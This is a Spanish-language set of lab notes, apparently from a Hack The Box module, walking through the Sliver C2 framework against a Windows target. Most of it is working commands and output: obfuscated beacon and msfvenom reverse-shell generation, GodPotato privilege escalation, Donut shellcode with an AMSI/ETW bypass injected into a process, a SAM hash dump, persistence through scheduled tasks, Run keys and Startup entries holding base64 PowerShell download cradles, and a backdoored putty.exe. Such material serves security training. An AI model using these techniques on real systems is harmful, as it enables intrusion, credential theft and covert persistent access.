SliverC2 Basics
INTALACION:
https://github.com/BishopFox/sliver/releases?page=2 Instalar la version 1.5.42 (Comodidad para resolver el modulo)
Operator profile
liver puede diferenciar quién puede conectarse en función del perfil generado desde su servidor. Se puede generar un perfil utilizando el new-operator comando seguido del nombre del operador (-n) y la dirección IP del host que escucha (-l).
1
[server] sliver > new-operator -n student -l 10.10.15.40
Armería
La sección anterior nos presentó el arsenal porción de Sliver. Su capacidad de tener preinstalado .Los binarios NET listos para ser utilizados facilitan la vida de los operadores.
Sin embargo, uno de los inconvenientes con los que uno podría tropezar es la detección de las herramientas.
1
armory install seatbelt
Instalación de armería
Para instalar una extensión específica (utilidad) podemos utilizar la install subcomando al especificar el nombre de la extensión (herramienta/utilidad). Si ejecutamos solo el armory El comando nos proporcionará información sobre la extensión actual.
Nota: Para superar un posible error con el
armorycomando dentro delclientcomponente de Sliver, ejecute el comando dentro delservercomponente.
Implantes
Ofrecen conexiones de red en diferentes conjuntos de protocolos y un medio de comunicación entre un servidor C2 y la estación de trabajo/servidor de destino.
Implants puede operar en modo:
beacon: da como resultado la ejecución de comandos en un período determinadosession: modo permite la capacidad de tener ejecución inmediata de comandos por parte del operador.
El modo beacon tiene sus beneficios siempre que se trata de una participación real del equipo rojo, ya que no agilizará el tráfico/los comandos a un ritmo constante, lo que podría alertar al equipo azul.
Generación de un implante en modo beacon
Para generar un implante en modo baliza, podemos utilizar el generate comando seguido de beacon
1
sliver > generate beacon --help
Algunos de los argumentos notables son:
-J/--jitter, que configura el tiempo de fluctuación de la devolución de llamada desde el implante de una manera que fluctuará según el valor-S/--seconds, lo que nos permite establecer el intervalo de tiempo de la devolución de llamada. El valor predeterminado para-S/--secondsestá configurado para60, lo que significa que cada sesenta segundos recibiremos una devolución de llamada, ya sea una verificación y/o un resultado que contenga los resultados de nuestra consulta/comando. Los implantes en modo beacon se pueden generar utilizando los protocolos disponibles enSliver- mTLS, HTTP(s), DNS, tuberías con nombre y pivotes TCP; estos últimos se utilizan principalmente para pivotar entre objetivos internos en un entorno. A continuación se muestran dos variantes para generar una baliza HTTP mientras se comparan los tamaños entre el implante no ofuscado (--skip-symbols) y el implante ofuscado. Para simplificar, los binarios se generan con nombres que no son aleatorios, que es el valor predeterminadoSliver.
1
sliver > generate beacon --http 127.0.0.1 --skip-symbols -N http_beacon --os windows
Generación de un implante ofuscado en modo baliza.
1
sliver > generate beacon --http 127.0.0.1 -N http_beacon_obfuscated --os windows
SILVER EN ACCION
el protocolo de staging meterpreter es compatible con TCP y HTTP(s). Necesitaremos utilizar el profiles en Sliver para crear un nuevo perfil, un plano de implante que define una configuración a reutilizar. Para utilizar el stager, necesitaríamos crear un perfil, un stage-listener y un stager sin olvidar generar una carga útil a través de msfvenom.
1
2
3
4
5
6
sliver > profiles new --http 10.10.15.40:8088 --format shellcode htb
sliver > stage-listener --url tcp://10.10.15.40:4443 --profile htb
sliver > http -L 10.10.15.40 -l 8088
sliver > generate stager --lhost 10.10.15.40 --lport 4443 --format csharp --save staged.txt
Recordar remplazar las cargas utiles:
1
MoltenGamaLujanCarrion@htb[/htb]$ msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.40 LPORT=4443 -f aspx > sliver.aspx
usar una session:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[server] sliver > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== =================== =========== ====================== ========== ========== ================== ======== ============================================ =========
4a0113ca ECONOMIC_REMINDER http(s) 10.129.27.213:49692 web01 <err> windows/amd64 en-US Thu Feb 5 15:18:29 CST 2026 (1s ago) [ALIVE]
9b037127 ECONOMIC_REMINDER http(s) 10.129.205.234:49762 web01 <err> windows/amd64 en-US Thu Feb 5 14:11:48 CST 2026 (1h6m42s ago) [DEAD]
d30f8918 ECONOMIC_REMINDER http(s) 10.129.205.234:49757 web01 <err> windows/amd64 en-US Thu Feb 5 14:11:48 CST 2026 (1h6m42s ago) [DEAD]
[server] sliver > use 4a0113ca
[server] sliver (ECONOMIC_REMINDER) > info
Session ID: 4a0113ca-0006-4e6d-97c6-d6b31391597b
Name: ECONOMIC_REMINDER
Hostname: web01
UUID: 072f3042-776f-1d74-392b-c2526dd3952c
Username: <err>
UID: <err>
GID: <err>
PID: 4536
OS: windows
Version: Server 2016 build 17763 x86_64
Locale: en-US
Arch: amd64
Active C2: https://10.10.15.40:8088
Remote Address: 10.129.27.213:49692
Proxy URL:
Reconnect Interval: 1m0s
First Contact: Thu Feb 5 15:18:27 CST 2026 (1m4s ago)
Last Checkin: Thu Feb 5 15:19:28 CST 2026 (3s ago)
Assess further the web application and submit the name of the database user
What is the name of the user from the session captured in Sliver
Submit the contents of the text file located at C:\Users\Public
Privilege Escalation
Alias y extensiones
podemos ampliar sus funciones agregando nuevos comandos a través de armory o crear herramientas de terceros. Según el Wiki de alias y extensiones, existen diferencias entre aliases y extensions:
AliasBásicamente es un envoltorio alrededorsideload, que cargará y ejecutará una biblioteca compartida en la memoria en un proceso remoto; una lógica similar tiene laexecute-assemblyfunción enSliver, que ejecutará un .Binario NET de forma remota con los argumentos especificados, y el binario se ejecutará en un proceso secundario.Extensionsson similares aaliases; son artefactos de código nativo cargados por el implante y pasados devoluciones de llamada específicas para devolver datos al servidor C2.
Enumeración
Seatbelt es una herramienta utilizada para enumerar el entorno escrito en C# utilizada tanto por operadores de equipos rojos (profesionales) como por miembros de equipos azules para evaluar la postura de seguridad actual.
1
sliver (HIGH_RISER) > seatbelt -- -group=all
El execute-assembly El comando también se puede utilizar para ejecutar .Binarios NET que hemos compilado. Usaremos el Colección Sharp mantenido por Flangvik con fines demostrativos.
1
2
MoltenGamaLujanCarrion@htb[/htb]$ git clone https://github.com/Flangvik/SharpCollection
sliver (HIGH_RISER) > execute-assembly /home/htb-ac590/SharpCollection/NetFramework_4.0_Any/Seatbelt.exe -group=system
Nota de OPSEC: De forma predeterminada, ejecutar-assembly iniciará un proceso de sacrificio (notepad.exe); esto se puede cambiar usando –process y especificando el proceso.
Se puede utilizar otra herramienta para fines de enumeración. SharpUp, que está escrito en C#, tiene la mayoría de las capacidades de Encendido. Se utiliza principalmente para enumerar privilegios, registros, rutas de servicio sin comillas, etc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[server] sliver (DETERMINED_EUROPE) > armory install sharpup
[*] Installing alias 'SharpUp' (v0.0.2) ... done!
[server] sliver (DETERMINED_EUROPE) > sharpup -- audit
[*] sharpup output:
=== SharpUp: Running Privilege Escalation Checks ===
[!] Modifialbe scheduled tasks were not evaluated due to permissions.
=== Abusable Token Privileges ===
SeImpersonatePrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
=== Modifiable Services ===
[X] Exception: Exception has been thrown by the target of an invocation.
[X] Exception: Exception has been thrown by the target of an invocation.
[X] Exception: Exception has been thrown by the target of an invocation.
Service 'UsoSvc' (State: Running, StartMode: Auto)
[*] Completed Privesc Checks in 22 seconds
Según el resultado de los resultados, el usuario tiene SeImpersonarPrivilegio habilitado, lo cual no es sorprendente para nosotros ya que la sesión se realiza en el contexto de la cuenta de servicio IIS. Las cuentas de servicio tienden a tener el privilegio habilitado. Una de las herramientas notorias para explotar el privilegio es GodPotato, parte de los exploits de Potato que afectan versiones de Windows 11, Windows Server 2022 y anteriores.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[server] sliver (DETERMINED_EUROPE) > execute-assembly /home/htb-ac-1648401/GodPotato-NET4.exe -cmd "whoami"
[*] Output:
[*] CombaseModule: 0x140705545519104
[*] DispatchTable: 0x140705547828448
[*] UseProtseqFunction: 0x140705547207776
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\0b8d2536-524e-4c07-9d58-6861b6a9adae\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000a402-05d4-ffff-bbf4-84a04870e64d
[*] DCOM obj OXID: 0xe87d3ed836586d52
[*] DCOM obj OID: 0x5ca8a6ca2affe972
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 944 Token:0x780 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3744
nt authority\system
Config Donuts
Donut es una herramienta enfocada a crear shellcodes binarios que puedan ejecutarse en memoria; Donut generará un shellcode de a .Binario NET, que se puede ejecutar a través de execute-shellcode argumento en Sliver.
1
2
3
4
MoltenGamaLujanCarrion@htb[/htb]$ git clone https://github.com/TheWover/donut
MoltenGamaLujanCarrion@htb[/htb]$ cd donut/
MoltenGamaLujanCarrion@htb[/htb]$ make -f Makefile
MoltenGamaLujanCarrion@htb[/htb]$ ./donut
Si falla compilalo a la “mala”:
1
gcc -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -o donut -w
Para aprovechar Donut, necesitaríamos crear cualquiera de los dos http o mtls baliza(s) de antemano. Una vez generado el implante, tendríamos que subirlo al objetivo como el shellcode generado por Donut buscará el binario que debe ejecutarse en los argumentos de carga útil de la herramienta (GodPotato). Uno de los lugares comunes que utilizan los operadores de equipos rojos y los actores de amenazas es el C:\Windows\Tasks directorio.
1
2
3
4
5
6
7
8
generate beacon --http 10.10.15.40:9002 --skip-symbols -N http-beacon
[server] sliver (FRESH_GAUGE) > upload http-beacon2.exe C:\\Users\\Public\\http-beacon2.exe
[*] Wrote file to C:\Users\Public\http-beacon2.exe
sliver (HIGH_RISER) > http --lhost 10.10.15.40 --lport 9002
Para generar el shellcode usando Donut, vamos a utilizar los argumentos:
-ielegir el archivo a ejecutar en la memoria-a 2responsable de elegir la arquitectura (2 = amd64)-b 2responsable de omitir AMSI/WLDP/ETW (2 = Abortar en caso de falla)-pseguido de los argumentos que se van a ejecutarGodPotato-opara especificar el directorio de salida y el nombre del shellcode.1
MoltenGamaLujanCarrion@htb[/htb]$ ./donut -i /home/htb-ac590/GodPotato-NET4.exe -a 2 -b 2 -p '-cmd c:\temp\http-beacon.exe' -o /home/htb-ac590/godpotato.bin
Para continuar y utilizar el execute-shellcode En la memoria, tendríamos que crear un proceso de sacrificio de notepad.exe usando Rubeus.exe ( previamente descargado de SharpCollection). Crear un proceso de sacrificio nos permitirá no intervenir con otros procesos que podrían ser cruciales para la organización, ya que podrían colapsar.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[server] sliver (FRESH_GAUGE) > execute-assembly /home/htb-ac-1648401/Rubeus.exe createnetonly /program:C:\\windows\\system32\\notepad.exe
[*] Output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Create Process (/netonly)
[*] Using random username and password.
[*] Showing process : False
[*] Username : 2NKL7UHO
[*] Domain : XYDN551P
[*] Password : F8UM4LO4
[+] Process : 'C:\windows\system32\notepad.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 1840
[+] LUID : 0x32cb8a
Una vez que tengamos un proceso de sacrificio en ejecución, podemos usarlo execute-shellcode seguido del PID del proceso sacrificial y el payload.bin generado anteriormente, lo que nos permite abusar del SeImpersonate privilegio del usuario actual. Usando ps -e <process_name>
1
[server] sliver (FRESH_GAUGE) > execute-shellcode -p 1840 /home/htb-ac-1648401/godpotato.bin
Despues se ejecutara un beacon con el contexto de Authority System
Escalate your privileges and submit the contents of the web01_root.txt flag located on the Administrator’s Desktop
Dump the local SAM database and submit the NT hash of the admin account
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
server] sliver (http-beacon2) > interactive
[*] Using beacon's active C2 endpoint: https://10.10.15.40:9002
[*] Tasked beacon http-beacon2 (cb1c2b46)
[*] Session ad554a33 http-beacon2 - 10.129.27.213:50036 (web01) - windows/amd64 - Thu, 05 Feb 2026 16:56:12 CST
[server] sliver (http-beacon2) > sessions
ID Name Transport Remote Address Hostname Username Operating System Locale Last Message Health
========== ============== =========== ===================== ========== ===================== ================== ======== ======================================= =========
0d291f14 OKAY_PRESENT http(s) 10.129.27.213:49985 web01 <err> windows/amd64 en-US Thu Feb 5 16:56:22 CST 2026 (0s ago) [ALIVE]
ad554a33 http-beacon2 http(s) 10.129.27.213:50036 web01 NT AUTHORITY\SYSTEM windows/amd64 en-US Thu Feb 5 16:56:22 CST 2026 (0s ago) [ALIVE]
[server] sliver (http-beacon2) > use ad554a33
[server] sliver (http-beacon2) > getsystem
[*] A new SYSTEM session should pop soon...
[*] Beacon 98b309dd http-beacon2 - 10.129.27.213:50055 (web01) - windows/amd64 - Thu, 05 Feb 2026 16:59:07 CST
[server] sliver (http-beacon2) > use 98b309dd
[*] Active beacon http-beacon2 (98b309dd-c26c-4ce5-8771-b6f05c6e799e)
[server] sliver (http-beacon2) > armory install hashdump
[*] Installing extension 'hashdump' (v1.0.0) ... done!
[server] sliver (http-beacon2) > hashdump
[*] Tasked beacon http-beacon2 (e725c08f)
[+] http-beacon2 completed task e725c08f
[*] Successfully executed hashdump
[*] Got output:
Administrator:500:Administrator:500:aad3b435b51404eeaad3b435b51404ee:e368973bdcf9dd5219882fdf0777ff0b:::::
Guest:501:Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
DefaultAccount:503:DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::::
WDAGUtilityAccount:504:WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:02e5a94d265e7d5dc6072839a5641543:::::
normal:1000:normal:1000:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::::
admin:1001:admin:1001:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::::
Establishing persistence
Tareas programadas
Establecer persistencia utilizando la notoria técnica de tareas programadas se puede hacer de varias maneras: utilizando la execute cmdlet en Sliver que ejecutará el “binario” dado y el comando o usando SharPersist. Nos centraremos en el primer método que utiliza execute.
Por defecto,
PowerShellusosUTF-16LEcomo codificación, pero ese no siempre es el caso, por lo que debemos convertir nuestra carga útil a Base64 usando elUTF-16LEcodificación.
1
2
MoltenGamaLujanCarrion@htb[/htb]$ echo -en "iex(new-object net.webclient).downloadString('http://10.10.14.62:8088/stager.txt')" | iconv -t UTF-16LE | base64 -w 0
aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=
Con la carga útil codificada en la mano, utilizaremos la carga incorporada schtasks cmdlet en Windows para crear la tarea. Vamos a nombrar la tarea SecurityUpdater,
- usando el
/create, le estamos diciendo al binario que cree la siguiente tarea /scespecifica la frecuencia de programación/moespecifica la frecuencia de repetición de la tarea/tnespecifica el nombre de la tarea/trespecifica el valor de la tarea a ejecutar/ruespecifica el contexto de usuario bajo el cual se ejecuta la tarea.
1
sliver (http-beacon) > execute powershell 'schtasks /create /sc minute /mo 1 /tn SecurityUpdater /tr "powershell.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADYAMgA6ADgAMAA4ADgALwBzAHQAYQBnAGUAcgAuAHQAeAB0ACcAKQA=" /ru SYSTEM'
Actividad de inicio de sesión
Aprovechar la actividad de inicio de sesión de un usuario para mantener la persistencia es uno de los métodos. De esta manera, una vez que un usuario inicia sesión en el sistema operativo, se ejecuta una carga útil específica, donde podemos insertar una actividad de puerta trasera en el Startup carpeta y registro. La carpeta de inicio de cada usuario se encuentra en C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. Si colocamos un archivo aquí, el archivo se ejecutará cada vez que el usuario inicie sesión.
1
sliver (http-beacon) > sharpersist -- -t startupfolder -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/stager.txt\')\" -f \"Edge Updater\" -m add
Consultando el contenido del directorio mencionado, podemos ver que el archivo Edge Updater se ha colocado con éxito como .LNK archivo.
También podemos especificar qué programa ejecutar cuando un usuario inicia sesión editando el registro. Dependiendo del privilegio que ya tengamos, podemos editar los siguientes elementos de registro:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Microsoft\Windows\CurrentVersion\RunOnceHKLM\Software\Microsoft\Windows\CurrentVersion\RunHKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce1
sliver (http-beacon) > sharpersist -- -t reg -c \"powershell.exe\" -a \"-nop -w hidden iex(new-object net.webclient).downloadstring(\'http://10.10.14.62:8088/staged.txt\')\" -k \"hklmrun\" -v \"AdvancedProtection\" -m add
Puerta trasera
En esta sección, utilizaremos la funcionalidad del backdoor comando integrado en Sliver. Supongamos que el usuario del sistema de destino lo ha instalado PuTTY, y tenemos acceso completo al directorio; podemos hacer una puerta trasera al binario (putty.exe) para ejecutar un shellcode de nuestra elección.
Debemos ser cautelosos ya que alterará el comportamiento de la aplicación, lo que dará como resultado casos en los que la aplicación ni siquiera se iniciará. Antes de continuar con la aplicación de puerta trasera, debemos crear un perfil en Sliver.
1
2
3
4
sliver (http-beacon) > profiles new --format shellcode --http 10.10.14.62:9002 persistence-shellcode
sliver (http-beacon) > backdoor --profile persistence-shellcode "C:\Program Files\PuTTY\putty.exe"
Cada vez que un usuario inicia o intenta iniciar PuTTY, obtendremos un shell; una exención de responsabilidad PuTTY No se cargará en absoluto, pero aún así recuperaremos una baliza.
Domain Reconnaissance
PowerView
Realizaremos solicitudes HTTP a un servidor que controlamos y donde PowerView.ps1 está alojado mediante comandos codificados en base64. Necesitamos iniciar un servidor web Python con la ayuda de http.servidormódulo. Además, codificaremos los comandos que ejecutaremos usando base64, como se mencionó anteriormente.
La siguiente consulta se centra en enumerar los usuarios y sus descripciones, ya que a menudo corresponde a los administradores de sistemas dejar notas valiosas para esas cuentas, donde, en algunos casos, esas notas pueden ser contraseñas de las cuentas.
1
2
3
MoltenGamaLujanCarrion@htb[/htb]$ echo -n "get-netuser | select samaccountname,description" | base64
sliver (http-beacon) > sharpsh -- '-u http://10.10.14.62:8081/PowerView.ps1 -e -c Z2V0LW5ldHVzZXIgfCBzZWxlY3QgIHNhbWFjY291bnRuYW1lLGRlc2NyaXB0aW9u'
Teniendo el comando codificado en base64, usaremos el -e El argumento que especifica el comando está codificado y -c donde reside el comando. Debemos tener en cuenta que cada vez que corremos PowerView usando sharpsh, realizaremos solicitudes HTTP a nuestro servidor HTTP.




